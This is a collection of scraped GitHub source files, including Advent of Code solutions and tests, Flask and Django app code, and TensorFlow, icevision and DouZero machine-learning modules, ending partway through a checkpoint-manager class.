+{"seq_id":"15577708066","text":"from pytest import mark\nfrom io import StringIO\nfrom noxmar_aoc_2022.day06 import part1, part2\n\n\n@mark.parametrize(\n \"packet,expected_start\",\n [\n (\"bvwbjplbgvbhsrlpgdmjqwftvncz\", 5),\n (\"nppdvjthqldpwncqszvftbrmjlhg\", 6),\n (\"nznrnfrfntjfmvfwmzdfjlvtqnbhcprsg\", 10),\n (\"zcfzfwzzqfrljwzlrfnpqdbhtmscgvjw\", 11),\n ],\n)\ndef test_part1_data_from_problem_statement(packet: str, expected_start: int):\n assert tuple(part1.solution(StringIO(packet))) == (expected_start,)\n\n\n@mark.parametrize(\n \"packet,expected_start\",\n [\n (\"mjqjpqmgbljsphdztnvjfqwrcgsmlb\", 19),\n (\"bvwbjplbgvbhsrlpgdmjqwftvncz\", 23),\n (\"nppdvjthqldpwncqszvftbrmjlhg\", 23),\n (\"nznrnfrfntjfmvfwmzdfjlvtqnbhcprsg\", 29),\n (\"zcfzfwzzqfrljwzlrfnpqdbhtmscgvjw\", 26),\n ],\n)\ndef test_part2_data_from_problem_statement(packet: str, expected_start: int):\n assert tuple(part2.solution(StringIO(packet))) == (expected_start,)\n","repo_name":"NoxMar/aoc-2022-python","sub_path":"tests/test_day06.py","file_name":"test_day06.py","file_ext":"py","file_size_in_byte":957,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"30806524371","text":"import os\nimport jinja2\nimport logging\n\nTEMPLATES = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"templates\")\n\n\ndef render(metadata, output):\n\n logging.info(\"Loading templates from :: \" + TEMPLATES)\n\n templateLoader = jinja2.FileSystemLoader(searchpath=TEMPLATES)\n templateEnv = jinja2.Environment(loader=templateLoader)\n TEMPLATE_FILE = \"report.html\"\n template = templateEnv.get_template(TEMPLATE_FILE)\n outputText = template.render(**metadata)\n\n with open(output, \"w\") as handle:\n handle.write(outputText)\n","repo_name":"GeekMasher/codeql-debugger","sub_path":"codeqldebugger/ghas_render.py","file_name":"ghas_render.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"25088399","text":"from datetime import datetime, timedelta\nimport unittest\nfrom flask_testing import TestCase\nfrom home_store.models import Sensor, Panel\nfrom home_store.app import app, mydb\nfrom pytils.http import Filter\n\n\nclass TestMyDB(TestCase):\n\n def create_app(self):\n app.config['TESTING'] = True\n app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\n app.config['SQLALCHEMY_DATABASE_URI'] = \"sqlite://\"\n return app\n\n def setUp(self):\n mydb.create_all()\n self.client = app.test_client()\n\n def tearDown(self):\n mydb.session.remove()\n mydb.drop_all()\n\n def test_empty_db(self):\n with mydb:\n sensors = mydb.sensors()\n self.assertTrue(len(sensors) == 0)\n\n def test_delete(self):\n s1 = Sensor('one', 1, 2, datetime.now())\n s2 = Sensor('two', 2, 4, datetime.now())\n s3 = Sensor('three', 3, 6, datetime.now())\n with mydb:\n mydb.add(s1)\n mydb.add(s2)\n mydb.add(s3)\n with mydb:\n sensor = mydb.sensor('one')\n self.assertTrue(sensor)\n mydb.delete(s1)\n sensor = mydb.sensor('one')\n self.assertFalse(sensor)\n\n def test_get_sensor_values(self):\n name = 'TheSensor'\n dt = datetime.strptime('2022-12-24 11:15:03', '%Y-%m-%d %H:%M:%S')\n with mydb:\n for i in range(6):\n mydb.add(Sensor(name, i, i, dt+timedelta(minutes=i)))\n with mydb:\n sensors = mydb.sensor(name)\n self.assertEqual(len(sensors), 6)\n\n def test_get_sensor_values_with_filter(self):\n name = 'Another Sensor'\n dt = datetime.strptime('2022-12-01 11:15:03', '%Y-%m-%d %H:%M:%S')\n with mydb:\n for i in range(10):\n mydb.add(Sensor(name, i, i, dt+timedelta(days=i)))\n with mydb:\n afilter = Filter('date', 'gt', '2022-12-05')\n sensors = mydb.sensor(name, filters=[afilter.to_json()])\n self.assertEqual(len(sensors), 5)\n\n def test_add_a_sensor(self):\n sensor = Sensor('fake', 12.0, 55.5, datetime.now())\n with mydb:\n mydb.add(sensor)\n db_sensor = mydb.latest_sensor('fake')\n self.assertEqual(sensor, db_sensor)\n\n def test_sensor_max(self):\n with mydb:\n sensor = Sensor('abc', 12, 80, datetime.now())\n mydb.add(sensor)\n mydb.add(Sensor('abc', 10, 10, datetime.now()))\n mydb.add(Sensor('abc', 45, 30, datetime.now()))\n mydb.add(Sensor('abc', 35, 90, datetime.now()))\n\n max = mydb.sensor_max(sensor.name, sensor.date)\n self.assertEqual(max.temperature, 45)\n\n def test_sensor_min(self):\n with mydb:\n sensor = Sensor('abc', 12, 80, datetime.now())\n mydb.add(sensor)\n mydb.add(Sensor('abc', 10, 10, datetime.now()))\n mydb.add(Sensor('abc', 45, 30, datetime.now()))\n mydb.add(Sensor('abc', 35, 90, datetime.now()))\n\n min = mydb.sensor_min(sensor.name, sensor.date)\n self.assertEqual(min.temperature, 10)\n\n @unittest.skip\n def test_sensor_history(self):\n pass\n\n @unittest.skip\n def test_sensor_hourly_trend(self):\n pass\n\n def test_panels(self):\n with mydb:\n mydb.add(Panel(12, 'test', 12, True, 50))\n mydb.add(Panel(13, 'test', 13, True, 51))\n mydb.add(Panel(12, 'test', 13, False, 52))\n self.assertEqual(len(mydb.panels()), 2)\n\n def test_panel_of_same_id(self):\n with mydb:\n mydb.add(Panel(21, 'test1', 12, True, 50))\n mydb.add(Panel(21, 'test1', 13, True, 51))\n mydb.add(Panel(11, 'test2', 13, False, 52))\n\n panels = mydb.panel(21)\n self.assertEqual(len(panels), 2)\n self.assertEqual(panels[0].name, 'test1')\n\n def test_panel_with_sort_page_size(self):\n with mydb:\n mydb.add(Panel(21, 'tmp', 12, True, 25))\n mydb.add(Panel(21, 'tmp', 13, True, 30))\n mydb.add(Panel(21, 'tmp', 14, False, 35))\n\n panels = mydb.panel(21, limit=1, sort='asc')\n self.assertEqual(len(panels), 1)\n self.assertEqual(panels[0].name, 'tmp')\n self.assertEqual(panels[0].energy, 12)\n\n panels = mydb.panel(21, limit=1, sort='desc')\n self.assertEqual(len(panels), 1)\n self.assertEqual(panels[0].energy, 14)\n\n def test_panel_lastest(self):\n with mydb:\n mydb.add(Panel(21, 'tmp', 12, True, 25))\n mydb.add(Panel(21, 'tmp', 13, True, 30))\n mydb.add(Panel(21, 'tmp', 14, False, 35))\n mydb.add(Panel(22, 'tmp', 15, False, 40))\n latest = mydb.panel_latest(21)\n self.assertEqual(latest.energy, 14)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"johanlundahl/home_store","sub_path":"tests/mydb_test.py","file_name":"mydb_test.py","file_ext":"py","file_size_in_byte":4898,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"30465564113","text":"from django.shortcuts import render,redirect\nfrom django.contrib.auth.decorators import login_required,permission_required\nfrom .forms import *\nfrom django.contrib import messages\nfrom .serializers import BufferSerializer\nfrom django.http import JsonResponse\n\n@permission_required(\"buffer.view_buffer\",raise_exception=True)\ndef buffers(request):\n return render(request,\"buffer_list.html\",locals())\n\n@permission_required(\"buffer.add_buffer\",raise_exception=True)\ndef new_buffer(request):\n if request.method==\"POST\":\n form = BufferForm(request.POST)\n if form.is_valid():\n form.save()\n messages.success(request,\"Buffer was created successfully\")\n return redirect('/buffer')\n else:\n messages.error(request,\"Buffer wasn't created!\")\n else:\n form = BufferForm()\n return render(request,\"buffer.html\",locals())\n\n@permission_required(\"buffer.change_buffer\",raise_exception=True)\ndef edit_buffer(request,id):\n instance = Buffer.objects.get(id=id)\n if request.method==\"POST\":\n form = BufferForm(request.POST,instance=instance)\n if form.is_valid():\n form.save()\n messages.success(request,\"Buffer was updated successfully\")\n return redirect('/buffer')\n else:\n messages.error(request,\"Buffer wasn't updated!\")\n else:\n form = BufferForm(instance=instance)\n return render(request,\"buffer.html\",locals())\n\n@permission_required(\"buffer.delete_buffer\",raise_exception=True)\ndef delete_buffer(request,id):\n try:\n instance = Buffer.objects.get(id=id)\n instance.delete()\n messages.success(request, \"Buffer was deleted successfully\")\n except Exception as e:\n messages.error(request, \"Buffer wasn't deleted!\")\n \n return redirect('/buffer')\n\n@permission_required(\"buffer.view_buffer\",raise_exception=True)\ndef filter_buffers(request):\n from .serializers import BufferSerializer\n from django.http import JsonResponse\n\n buffers = Buffer().query_by_args(**request.GET)\n serializer = BufferSerializer(buffers['items'], many=True)\n result = dict()\n result['data'] = serializer.data\n result['draw'] = buffers['draw']\n result['recordsTotal'] = buffers['total']\n result['recordsFiltered'] = buffers['count']\n\n return JsonResponse(result)\n\n@permission_required(\"bait.view_bait\",raise_exception=True)\ndef get_buffer_choices(request):\n serializer = BufferSerializer(Buffer.objects.all(), many=True)\n return JsonResponse(serializer.data,safe=False)\n","repo_name":"bastianbc/BastianLab","sub_path":"buffer/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2556,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"4257227673","text":"import tensorflow as tf\nfrom tensorflow.keras import Sequential\nfrom tensorflow.keras.layers import Layer\n\nfrom hanser.models.layers import Act, Conv2d, GlobalAvgPool\nfrom hanser.models.common.modules import get_shortcut_vd\nfrom hanser.models.imagenet.resnet import _ResNet\nfrom hanser.models.imagenet.stem import ResNetvdStem\n\n\nclass SplAtConv2d(Layer):\n\n def __init__(self, in_channels, channels, kernel_size, stride=1,\n groups=1, radix=2, reduction=4, dropblock=False,\n norm='def', act='def', **kwargs):\n super().__init__()\n self.radix = radix\n self.conv = Conv2d(in_channels, channels * radix, kernel_size, stride,\n groups=radix * groups, dropblock=dropblock,\n norm=norm, act=act, **kwargs)\n\n self.pool = GlobalAvgPool(keep_dim=True)\n inter_channels = max(channels * radix // reduction, 32)\n self.fc = Sequential([\n Conv2d(channels, inter_channels, 1, groups=groups, norm='def', act='def'),\n Conv2d(inter_channels, channels * radix, 1, groups=groups),\n ])\n self.rsoftmax = rSoftMax(radix, groups)\n\n def call(self, x):\n x = self.conv(x)\n\n xs = tf.split(x, self.radix, axis=-1)\n\n u = sum(xs)\n s = self.pool(u)\n s = self.fc(s)\n attns = self.rsoftmax(s)\n\n out = sum([attn[:, None, None, :] * x for (attn, x) in zip(attns, xs)])\n return out\n\n\nclass rSoftMax(Layer):\n def __init__(self, radix, groups):\n super().__init__()\n self.radix = radix\n self.groups = groups\n\n def call(self, x):\n b = tf.shape(x)[0]\n c = x.shape[-1]\n c_ = c // self.groups // self.radix\n\n if self.groups == 1:\n x = tf.reshape(x, (b, self.radix, c_))\n x = tf.nn.softmax(x, axis=1)\n attns = tf.unstack(x, axis=1)\n return attns\n else:\n x = tf.reshape(x, (b, self.groups, self.radix, c_))\n x = tf.nn.softmax(x, axis=2)\n attns = [tf.reshape(attn, [b, self.groups * c_])\n for attn in tf.unstack(x, axis=2)]\n return attns\n\n\nclass Bottleneck(Layer):\n expansion = 4\n\n def __init__(self, in_channels, channels, stride, radix=1, groups=1,\n base_width=64, reduction=4, avd=False, avd_first=False,\n dropblock=False):\n super().__init__()\n out_channels = channels * self.expansion\n width = int(channels * (base_width / 64)) * groups\n\n self.conv1 = Conv2d(in_channels, width, kernel_size=1,\n norm='def', act='def', dropblock=dropblock)\n\n self.conv2 = SplAtConv2d(width, width, 3, stride=stride, groups=groups, radix=radix,\n reduction=reduction, avd=avd, avd_first=avd_first,\n norm='def', act='def', dropblock=dropblock)\n\n self.conv3 = Conv2d(width, out_channels, kernel_size=1,\n norm='def', dropblock=dropblock)\n\n self.shortcut = get_shortcut_vd(in_channels, out_channels, stride)\n\n self.act = Act()\n\n def call(self, x):\n identity = self.shortcut(x)\n x = self.conv1(x)\n x = self.conv2(x)\n x = self.conv3(x)\n x = x + identity\n x = self.act(x)\n return x\n\n\nclass ResNet(_ResNet):\n\n def __init__(self, block, layers, num_classes=1000, channels=(64, 64, 128, 256, 512),\n radix=2, groups=1, base_width=64, reduction=4, avd=True, avd_first=False,\n dropblock=False, dropout=0.0):\n stem_channels, *channels = channels\n stem = ResNetvdStem(stem_channels)\n super().__init__(stem, block, layers, num_classes, channels,\n radix=radix, groups=groups, base_width=base_width,\n reduction=reduction, avd=avd, avd_first=avd_first,\n dropblock=dropblock, dropout=dropout)\n\n\ndef resnest50(**kwargs):\n return ResNet(Bottleneck, [3, 4, 6, 3], **kwargs)\n","repo_name":"sbl1996/hanser","sub_path":"hanser/models/imagenet/resnest/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4072,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"54"} +{"seq_id":"37773129411","text":"import __main__ as main\nfrom Helper.TimerLogger import CodeTimeLogging\nfileName = main.__file__\nfileName = fileName.split('\\\\')[-1]\n\nCodeTimeLogging(Flag='F', filename=fileName, Tag='Two-Pointer', Difficult='Medium')\n'''\n# Find the longest substring with k unique characters in a given string\n# Given a string you need to print longest possible substring that has exactly M unique characters.\n# If there are more than one substring of longest possible len, then print any one of them.\n# Examples:\n\n# \"aabbcc\", k = 1\n# Max substring can be any one from {\"aa\" , \"bb\" , \"cc\"}.\n\n# \"aabbcc\", k = 2\n# Max substring can be any one from {\"aabb\" , \"bbcc\"}.\n\n# \"aabbcc\", k = 3\n# There are substrings with exactly 3 unique characters\n# {\"aabbcc\" , \"abbcc\" , \"aabbc\" , \"abbc\" }\n# Max is \"aabbcc\" with len 6.\n\n# \"aaabbb\", k = 3\n# There are only two unique characters, thus show error message.\n# '''\n\n# O(n) time| O(n) space\n\n\ndef longestSubString(string, k):\n stringCount = {x: 0 for x in string}\n stringCount[string[0]] = 1\n\n if len(stringCount) < k:\n return 'Not eneough Char!'\n\n maxFramSize = float('-inf')\n endIdx = 0\n startIdx = 0\n cut = [0, 0]\n while endIdx < len(string):\n endIdx += 1\n while not isValid(string[startIdx:endIdx + 1], k):\n startIdx += 1 # leaving the behind one\n\n if (endIdx - startIdx) > maxFramSize:\n cut = [startIdx, endIdx + 1]\n maxFramSize = endIdx - startIdx\n\n return string[cut[0]:cut[1]], len(string[cut[0]:cut[1]])\n\n\ndef isValid(string, k):\n stringCount = {x: 0 for x in string}\n print(string, len(stringCount), k)\n return len(stringCount) <= k\n\n\nstring = \"aaabbccdddddde\"\n# string = \"aabacbebebe\"\nk = 2\nprint(longestSubString(string, k))\n","repo_name":"Omkar02/FAANG","sub_path":"LongestSubstringWithKUniqueCharacters.py","file_name":"LongestSubstringWithKUniqueCharacters.py","file_ext":"py","file_size_in_byte":1756,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"21786365261","text":"__all__ = [\n \"predict\",\n \"predict_from_dl\",\n \"convert_raw_prediction\",\n \"convert_raw_predictions\",\n]\n\nfrom icevision.imports import *\nfrom icevision.utils import *\nfrom icevision.core import *\nfrom icevision.data import *\nfrom icevision.models.utils import _predict_from_dl\nfrom icevision.models.torchvision.mask_rcnn.dataloaders import *\nfrom icevision.models.torchvision.faster_rcnn.prediction import (\n convert_raw_prediction as faster_convert_raw_prediction,\n)\n\n\n@torch.no_grad()\ndef _predict_batch(\n model: nn.Module,\n batch: List[torch.Tensor],\n records: Sequence[BaseRecord],\n detection_threshold: float = 0.5,\n mask_threshold: float = 0.5,\n keep_images: bool = False,\n device: Optional[torch.device] = None,\n):\n model.eval()\n device = device or model_device(model)\n batch = [o.to(device) for o in batch]\n\n raw_preds = model(*batch)\n return convert_raw_predictions(\n batch=batch,\n raw_preds=raw_preds,\n records=records,\n detection_threshold=detection_threshold,\n mask_threshold=mask_threshold,\n keep_images=keep_images,\n )\n\n\ndef predict(\n model: nn.Module,\n dataset: Dataset,\n detection_threshold: float = 0.5,\n mask_threshold: float = 0.5,\n keep_images: bool = False,\n device: Optional[torch.device] = None,\n) -> List[Prediction]:\n batch, records = build_infer_batch(dataset)\n return _predict_batch(\n model=model,\n batch=batch,\n records=records,\n detection_threshold=detection_threshold,\n mask_threshold=mask_threshold,\n keep_images=keep_images,\n device=device,\n )\n\n\ndef predict_from_dl(\n model: nn.Module,\n infer_dl: DataLoader,\n show_pbar: bool = True,\n keep_images: bool = False,\n **predict_kwargs\n):\n return _predict_from_dl(\n predict_fn=_predict_batch,\n model=model,\n infer_dl=infer_dl,\n show_pbar=show_pbar,\n keep_images=keep_images,\n **predict_kwargs,\n )\n\n\ndef convert_raw_predictions(\n batch,\n raw_preds: List[dict],\n records: Sequence[BaseRecord],\n detection_threshold: float,\n mask_threshold: float,\n keep_images: bool = False,\n):\n return [\n convert_raw_prediction(\n sample=sample,\n raw_pred=raw_pred,\n record=record,\n detection_threshold=detection_threshold,\n mask_threshold=mask_threshold,\n keep_image=keep_images,\n )\n for sample, raw_pred, record in zip(zip(*batch), raw_preds, records)\n ]\n\n\ndef convert_raw_prediction(\n sample,\n raw_pred: dict,\n record: Sequence[BaseRecord],\n detection_threshold: float,\n mask_threshold: float,\n keep_image: bool = False,\n):\n pred = faster_convert_raw_prediction(\n sample=sample,\n raw_pred=raw_pred,\n record=record,\n detection_threshold=detection_threshold,\n keep_image=keep_image,\n )\n\n above_threshold = pred.detection.above_threshold\n masks_probs = raw_pred[\"masks\"][above_threshold]\n masks_probs = masks_probs.detach().cpu().numpy()\n # convert probabilities to 0 or 1 based on mask_threshold\n masks = masks_probs > mask_threshold\n masks = MaskArray(masks.squeeze(1))\n\n pred.pred.add_component(InstanceMasksRecordComponent())\n pred.detection.set_mask_array(masks)\n\n if keep_image:\n # HACK: quick fix for when we have to add masks back\n if len(sample) > 1:\n tensor_image, label = sample\n mask = MaskArray(np.array(label[\"masks\"].cpu().numpy()))\n pred.ground_truth.detection.set_mask_array(mask)\n\n return pred\n","repo_name":"airctic/icevision","sub_path":"icevision/models/torchvision/mask_rcnn/prediction.py","file_name":"prediction.py","file_ext":"py","file_size_in_byte":3648,"program_lang":"python","lang":"en","doc_type":"code","stars":839,"dataset":"github-code","pt":"54"} +{"seq_id":"36483892978","text":"from AoC_tools.aoc22 import *\nfrom itertools import combinations\nfrom queue import PriorityQueue\n\n\ndef find_shortest_path(graph, start, goal):\n visited = []\n queue = [[start]]\n while queue:\n path = queue.pop(0)\n node = path[-1]\n if node not in visited:\n neighbours = graph[node]\n for neighbour in neighbours:\n new_path = list(path)\n new_path.append(neighbour)\n queue.append(new_path)\n if neighbour == goal:\n return len(new_path)\n visited.append(node)\n\n\nclass State(object):\n\n def __init__(self, node, path, flow, score, minutes_left, nodes_left):\n self.node = node\n self.path = path\n self.flow = flow\n self.score = score\n self.minutes_left = minutes_left\n self.nodes_left = nodes_left\n\n @property\n # calculate the theoretical potential of the unvisited nodes if they were all opened at once, as an indicator of\n # how good each option is\n def potential(self):\n potential = 0\n for n in self.nodes_left:\n potential += flows[n] * self.minutes_left\n return potential\n\n def __gt__(self, other):\n return self.node > other.node\n\n def __lt__(self, other):\n return self.node < other.node\n\n def __str__(self):\n string = f\"{', '.join(self.path)}; Score: {self.score}\"\n return string\n\n\ndef get_new_state(current_state, visited_node):\n path = current_state.path.copy()\n minutes_left = current_state.minutes_left - (shortest_path[(current_state.node, visited_node)])\n path.append(visited_node)\n flow = current_state.flow + flows[visited_node]\n nodes_left = current_state.nodes_left.copy()\n nodes_left.remove(visited_node)\n score = current_state.score + flows[visited_node] * minutes_left\n return State(visited_node, path, flow, score, minutes_left, nodes_left)\n\n\ndata = read_input(\"input.txt\")\ndata = [d.replace(\"Valve \", \"\") for d in data]\ndata = [d.replace(\" has flow rate=\", \", \") for d in data]\ndata = [d.replace(\"; tunnels lead to valves \", \", \") for d in data]\ndata = [d.replace(\"; tunnels lead to valve \", \", \") for d in data]\ndata = [d.replace(\"; tunnel leads to valve \", \", \") for d in data]\ndata = [d.split(\", \") for d in data]\n\ngraph = dict()\nfor d in data:\n graph[d[0]] = []\n nb = d[2:]\n for n in nb:\n graph[d[0]].append(n)\n\nshortest_path = dict()\ncombos = list(combinations(graph.keys(), 2))\n\nfor c in combos:\n c1, c2 = c\n shortest_path[c1, c2] = find_shortest_path(graph, *c)\n shortest_path[c2, c1] = find_shortest_path(graph, *c)\n\nflows = dict()\nfor d in data:\n flows[d[0]] = int(d[1])\n\nrelevant_nodes = [key for key, value in flows.items() if value > 0]\nbegin_state = State(node='AA', path=['AA'], flow=0, score=0, minutes_left=30, nodes_left=relevant_nodes)\n\nq = PriorityQueue()\n\nq.put((begin_state.score, begin_state))\nmax_score = begin_state.score\n\nwhile not q.empty():\n current_state = q.get()[1]\n for visited_node in current_state.nodes_left:\n new_state = get_new_state(current_state, visited_node)\n if new_state.score + new_state.potential >= max_score:\n q.put((-1 * new_state.score, new_state))\n if new_state.score > max_score:\n max_score = new_state.score\n\nprint(f\"max score: {max_score}\")\n\nassert max_score == 1474\n\n","repo_name":"lannieligthart/advent_of_code","sub_path":"2022/16/part1.py","file_name":"part1.py","file_ext":"py","file_size_in_byte":3396,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"8707899864","text":"import os \nimport typing\nimport logging\nimport traceback\nimport numpy as np\nfrom collections import Counter\nimport time\nimport random\nimport torch \nfrom torch import multiprocessing as mp\n\nfrom .env_utils import Environment\nfrom douzero.env import Env\nfrom douzero.env.env import _cards2array\n\nGAMMA = 0.99 \nLAM = 0.95\n\nCard2Column = {3: 0, 4: 1, 5: 2, 6: 3, 7: 4, 8: 5, 9: 6, 10: 7,\n 11: 8, 12: 9, 13: 10, 14: 11, 17: 12}\n\nNumOnes2Array = {0: np.array([0, 0, 0, 0]),\n 1: np.array([1, 0, 0, 0]),\n 2: np.array([1, 1, 0, 0]),\n 3: np.array([1, 1, 1, 0]),\n 4: np.array([1, 1, 1, 1])}\n\nshandle = logging.StreamHandler()\nshandle.setFormatter(\n logging.Formatter(\n '[%(levelname)s:%(process)d %(module)s:%(lineno)d %(asctime)s] '\n '%(message)s'))\nlog = logging.getLogger('doudzero')\nlog.propagate = False\nlog.addHandler(shandle)\nlog.setLevel(logging.INFO)\n\n# Buffers are used to transfer data between actor processes\n# and learner processes. They are shared tensors in GPU\nBuffers = typing.Dict[str, typing.List[torch.Tensor]]\n\ndef create_env(flags):\n return Env(flags.objective)\n\ndef get_buffer(free_queue,\n full_queue,\n buffers,\n flags):\n \"\"\"\n This function will sample a batch from the buffers based\n on the indices received from the full queue. It will also\n free the indices by sending it to full_queue.\n \"\"\"\n indices = [full_queue.get() for _ in range(flags.batch_size)]\n batch = {\n key: torch.cat([buffers[key][m] for m in indices], dim=0)\n for key in buffers\n }\n for m in indices:\n free_queue.put(m)\n return batch\n\ndef create_buffers(flags, device_iterator):\n \"\"\"\n We create buffers for different positions as well as\n for different devices (i.e., GPU). That is, each device\n will have three buffers for the three positions.\n \"\"\"\n T = flags.unroll_length\n position = flags.position\n buffers = {}\n for device in device_iterator:\n buffers[device] = {}\n x_dim = 319 if position == 'landlord' else 430\n specs = dict(\n done=dict(size=(T,), dtype=torch.bool),\n reward=dict(size=(T,), dtype=torch.float32),\n reward_bonus = dict(size=(T,), dtype=torch.float32),\n value = dict(size=(T,), dtype=torch.float32),\n logpac = dict(size=(T,), dtype=torch.float32),\n ret = dict(size=(T,), dtype=torch.float32),\n adv = dict(size=(T,), dtype=torch.float32),\n obs_x_no_action=dict(size=(T, x_dim), dtype=torch.float32),\n act=dict(size=(T,), dtype=torch.int8),\n obs_z=dict(size=(T, 5, 162), dtype=torch.float32),\n )\n _buffers: Buffers = {key: [] for key in specs}\n for _ in range(flags.num_buffers):\n for key in _buffers:\n if not device == \"cpu\":\n _buffer = torch.empty(**specs[key]).to(torch.device('cuda:'+str(device))).share_memory_()\n else:\n _buffer = torch.empty(**specs[key]).to(torch.device('cpu')).share_memory_()\n _buffers[key].append(_buffer)\n buffers[device] = _buffers\n return buffers\n\ndef act(i, device, free_queue, full_queue, model, mask_net, buffers, flags):\n \"\"\"\n This function will run forever until we stop it. It will generate\n data from the environment and send the data to buffer. It uses\n a free queue and full queue to syncup with the main process.\n \"\"\"\n exp_id = mask_net.position\n try:\n T = flags.unroll_length\n log.info('Device %s Actor %i started.', str(device), i)\n\n env = create_env(flags)\n env = Environment(env, device)\n\n obs_x_no_action_buf = []\n obs_z_buf = []\n act_buf = []\n value_buf = []\n reward_buf = []\n reward_bonus_buf = []\n done_buf = []\n logpac_buf = []\n # ret, adv \n ret_buf = []\n adv_buf = []\n sz, game_len = 0, 0\n num_mask = 0\n\n position, obs, env_output = env.initial()\n while True:\n while True:\n if position == exp_id:\n obs_x_no_action_buf.append(env_output['obs_x_no_action'].cpu().detach())\n obs_z_buf.append(env_output['obs_z'].cpu().detach())\n with torch.no_grad():\n agent_output = model.forward(position, obs['z_batch'], obs['x_batch'], flags=flags)\n _action_idx = int(agent_output['action'].cpu().detach().numpy())\n action = obs['legal_actions'][_action_idx]\n if position == exp_id and mask_net != None:\n dist, value = mask_net.inference(env_output['obs_z'], env_output['obs_x_no_action'])\n mask_action = dist.sample()\n if mask_action == 0:\n action = random.choice(obs['legal_actions'])\n num_mask += 1\n log_prob = dist.log_prob(mask_action)\n act_buf.append(mask_action.cpu())\n value_buf.append(value.cpu())\n logpac_buf.append(log_prob.cpu())\n # psuedo fill\n ret_buf.append(0)\n adv_buf.append(0)\n sz += 1\n game_len += 1\n position, obs, env_output = env.step(action)\n if env_output['done']:\n # exp id\n diff = sz - len(reward_buf)\n if diff > 0:\n done_buf.extend([False for _ in range(diff)])\n reward = env_output['episode_return'] if exp_id == 'landlord' else -env_output['episode_return']\n reward_buf.extend([0.0 for _ in range(diff-1)])\n reward_buf.append(reward)\n reward_bonus_buf.extend([0.0 for _ in range(diff-1)])\n reward_bonus_buf.append(reward + flags.reward_bonus_coeff * num_mask)\n break\n done = True \n last_values, lastgaelam = 0, 0\n # returns, advs\n for t in reversed(range(sz-game_len, sz)):\n if t == sz - 1:\n nextnonterminal = 1.0 - done\n nextvalues = last_values\n else:\n nextnonterminal = 1.0 - done_buf[t+1]\n nextvalues = value_buf[t+1]\n delta = reward_bonus_buf[t] + GAMMA * nextvalues * nextnonterminal - value_buf[t]\n adv_buf[t] = lastgaelam = delta + GAMMA * LAM * nextnonterminal * lastgaelam\n ret_buf[t] = adv_buf[t] + value_buf[t]\n # reset game length\n game_len = 0\n num_mask = 0\n done_buf[-1] = True\n while sz > T: \n index = free_queue.get()\n if index is None:\n break\n for t in range(T):\n buffers['done'][index][t, ...] = done_buf[t]\n buffers['reward'][index][t, ...] = reward_buf[t]\n buffers['reward_bonus'][index][t, ...] = reward_bonus_buf[t]\n buffers['obs_x_no_action'][index][t, ...] = obs_x_no_action_buf[t]\n buffers['act'][index][t, ...] = act_buf[t]\n buffers['value'][index][t, ...] = value_buf[t]\n buffers['logpac'][index][t, ...] = logpac_buf[t]\n buffers['obs_z'][index][t, ...] = obs_z_buf[t]\n buffers['ret'][index][t, ...] = ret_buf[t]\n buffers['adv'][index][t, ...] = adv_buf[t]\n full_queue.put(index)\n done_buf = done_buf[T:]\n reward_buf = reward_buf[T:]\n reward_bonus_buf = reward_bonus_buf[T:]\n obs_x_no_action_buf = obs_x_no_action_buf[T:]\n act_buf = act_buf[T:]\n value_buf = value_buf[T:]\n logpac_buf = logpac_buf[T:]\n obs_z_buf = obs_z_buf[T:]\n ret_buf = ret_buf[T:]\n adv_buf = adv_buf[T:]\n sz -= T\n except KeyboardInterrupt:\n pass \n except Exception as e:\n log.error('Exception in worker process %i', i)\n traceback.print_exc()\n print()\n raise e\n\ndef _cards2tensor(list_cards):\n \"\"\"\n Convert a list of integers to the tensor\n representation\n See Figure 2 in https://arxiv.org/pdf/2106.06135.pdf\n \"\"\"\n matrix = _cards2array(list_cards)\n matrix = torch.from_numpy(matrix)\n return matrix","repo_name":"nuwuxian/RL-state_mask","sub_path":"extensive_form/imperfect_games/DouZero/douzero/dmc/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":8694,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"54"} +{"seq_id":"25060315770","text":"import copy\nimport os\nimport pathlib\nimport subprocess\nimport sys\nfrom collections import Counter\nfrom typing import Any, Dict, List, Optional\n\nimport numpy as np\nfrom torch import nn\n\n\nclass BootstrapManager(object):\n r\"\"\"\n A helper class to periodically serialize models and other checkpointable\n objects (optimizers, LR schedulers etc., which implement ``state_dict``\n method) during training, and optionally record best performing checkpoint\n based on an observed metric.\n\n .. note::\n\n For :class:`~torch.nn.parallel.DistributedDataParallel` objects,\n ``state_dict`` of internal model is serialized.\n\n .. note::\n\n The observed metric for keeping best checkpoint is assumed \"higher is\n better\", flip the sign if otherwise.\n\n Parameters\n ----------\n serialization_dir: str\n Path to a directory to save checkpoints.\n filename_prefix: str\n Prefix of the checkpoit file names while saving. Default: \"checkpoint\"\n Checkpoint will be saved as ``\"{prefix}_{epoch}.pth\"``. \n keep_recent: int, optional (default = 100)\n Number of recent ``k`` checkpoints to keep on disk. Older checkpoints\n will be removed. Set to a very large value for keeping all checkpoints.\n checkpointables: Any\n Keyword arguments with any checkpointable objects, for example: model,\n optimizer, learning rate scheduler.\n\n Examples\n --------\n >>> model = torch.nn.Linear(10, 2)\n >>> optimizer = torch.optim.Adam(model.parameters())\n >>> ckpt_manager = CheckpointManager(\"/tmp\", model=model, optimizer=optimizer)\n >>> num_epochs = 20\n >>> for epoch in range(num_epochs):\n ... train(model)\n ... val_loss = validate(model)\n ... ckpt_manager.step(- val_loss, epoch)\n \"\"\"\n\n def __init__(\n self,\n serialization_dir: str = \"/tmp\",\n min_clusters: int = 11,\n max_clusters: int = 1,\n 